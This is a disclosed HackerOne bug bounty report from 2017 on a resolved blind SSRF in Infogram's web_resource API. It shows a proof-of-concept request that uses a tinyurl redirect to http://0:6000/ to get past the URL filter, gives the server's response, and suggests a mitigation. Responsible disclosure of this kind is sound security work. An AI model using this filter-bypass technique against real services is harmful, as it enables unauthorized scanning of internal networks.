Internal Ports Scanning via Blind SSRF (URL Redirection to beat filter)

Disclosed: 2017-11-08 14:14:33 By spicyturtle To infogram
Low
Vulnerability Details
Summary --------------------- This is a blind SSRF that lets you scan internal ports. Technical Details -------------------- Inspired by #281950, I found a way to evade the filter for the api endpoint `web_resource` by using a URL Redirection service. I used tinyurl to create a url that linked to http://0:6000/ (any port would work here). Proof of Concept ---------- https://infogram.com/api/web_resource/url?q=https://tinyurl.com/ybk7sqrg Response: ``` HTTP/1.1 200 OK Date: Sun, 05 Nov 2017 02:42:03 GMT Content-Type: application/json; charset=utf-8 Connection: close Server: nginx Vary: Accept-Encoding X-DNS-Prefetch-Control: off Strict-Transport-Security: max-age=31536000 X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: no-referrer X-Frame-Options: SAMEORIGIN ETag: W/"fd-LAmakEWFfBZbQhSwn4nbeuTsy48" X-Infogram-Server: b201 X-Infogram-Proxy: us Content-Length: 253 [{"title":"Create Infographics, Charts and Maps - Infogram","description":"Infogram is an easy to use infographic and chart maker. Create and share beautiful infographics, online charts and interactive maps. Make your own here.","url":"http://0:6000/"}] ``` I'm not sure if that tinyurl sticks around, but it's trivial to make another one using the information above. Mitigation -------------- Alter your filter so that it follows redirects until it lands on an actual URL, then check that URL.
Actions
View on HackerOne
Report Stats
  • Report ID: 287496
  • State: Closed
  • Substate: resolved
  • Upvotes: 10
Share this report